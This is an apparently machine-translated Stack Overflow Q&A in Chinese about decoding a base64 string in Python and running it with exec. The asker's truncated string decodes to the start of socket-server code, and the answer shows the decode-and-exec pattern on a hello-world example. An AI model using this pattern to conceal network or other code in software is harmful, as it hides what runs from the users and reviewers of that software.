-1

我有一个 python 脚本,可以读取解密 base64 加密字符串,我试图拥有它,所以当字符串被解密时,它的内容被执行。

def crypexec(jargon):
#push base64 through decryptor
 decipher = base64.b64decode(jargon)
#execute instructions in the encoded string
 exec decipher

ferret= unicode("""DQpzZXJ2ZXIgPSBzb2NrZXQuc29ja2V0KHC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJF..

然后我尝试用

crypexec(ferret)

不工作

就是雪貂看起来未加密的样子。当然,我在运行它之前删除了加密脚本的导入部分,仍然无法理解为什么它不起作用。

4

1 回答 1

2

您的 base64编码字符串缺少填充...

您可以尝试在字符串末尾添加“=”(可能多达 3 个“=”符号)

如果这不起作用,您可能已经使用与标准“=”不同的填充符号对其进行了加密......您是如何对字符串进行编码的?

尝试用python对其进行编码应该可以解决这个问题

import base64
my_enc = base64.b64encode(""" 
def hello():
     print 'hello world!'
hello() """)

exec(base64.b64decode(my_enc))
于 2012-10-15T21:29:27.793 回答